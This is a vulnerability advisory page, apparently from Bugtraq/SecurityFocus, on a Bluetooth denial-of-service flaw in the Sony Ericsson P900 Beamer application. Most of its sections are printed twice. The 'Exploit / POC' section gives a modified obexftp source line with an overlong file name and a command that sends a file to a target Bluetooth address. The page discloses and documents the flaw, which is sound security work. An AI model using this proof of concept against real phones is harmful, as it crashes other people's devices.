Sony Ericsson P900 Beamer Malformed File Name Handling Denial of Service Vulnerability
BID:13782
Info
Sony Ericsson P900 Beamer Malformed File Name Handling Denial of Service Vulnerability
| Bugtraq ID: | 13782 |
| Class: | Boundary Condition Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 26 2005 12:00AM |
| Updated: | May 26 2005 12:00AM |
| Credit: | Discovery is credited to Marek Bialoglowy. |
| Vulnerable: |
Sony Ericsson P900 |
| Not Vulnerable: | |
Discussion
Sony Ericsson P900 Beamer Malformed File Name Handling Denial of Service Vulnerability
Sony Ericsson P900 handset is affected by a remote denial of service vulnerability. This issue arises because the application fails to perform boundary checks prior to copying user-supplied data into a finite sized buffer.
The vulnerability presents itself in the Bluetooth-related Beamer application when handling a malformed file.
Sony Ericsson P900 handset is reportedly affected, however, other handsets such as Sony Ericsson P800 may be vulnerable as well.
Sony Ericsson P900 handset is affected by a remote denial of service vulnerability. This issue arises because the application fails to perform boundary checks prior to copying user-supplied data into a finite sized buffer.
The vulnerability presents itself in the Bluetooth-related Beamer application when handling a malformed file.
Sony Ericsson P900 handset is reportedly affected, however, other handsets such as Sony Ericsson P800 may be vulnerable as well.
Exploit / POC
Sony Ericsson P900 Beamer Malformed File Name Handling Denial of Service Vulnerability
An exploit is not required.
The following proof of concept is available:
Create a malformed name using 'remotename' in 'obexftp_put_file' function of obexftp client.c:
---- snip ---
object = build_object_from_file (cli->obexhandle,localname, \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
---- snip ---
Chose any existing file and send it using obexftp:
# ./obexftp -b 00:0A:D9:E7:0B:1D --channel 2 -p /etc/passwd -v
An exploit is not required.
The following proof of concept is available:
Create a malformed name using 'remotename' in 'obexftp_put_file' function of obexftp client.c:
---- snip ---
object = build_object_from_file (cli->obexhandle,localname, \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
---- snip ---
Chose any existing file and send it using obexftp:
# ./obexftp -b 00:0A:D9:E7:0B:1D --channel 2 -p /etc/passwd -v
Solution / Fix
Sony Ericsson P900 Beamer Malformed File Name Handling Denial of Service Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Sony Ericsson P900 Beamer Malformed File Name Handling Denial of Service Vulnerability
References:
References:
- Bluetooth Security Review, Part 2 (Marek Bialoglowy)
- Sony Ericsson Mobile Communications (Sony)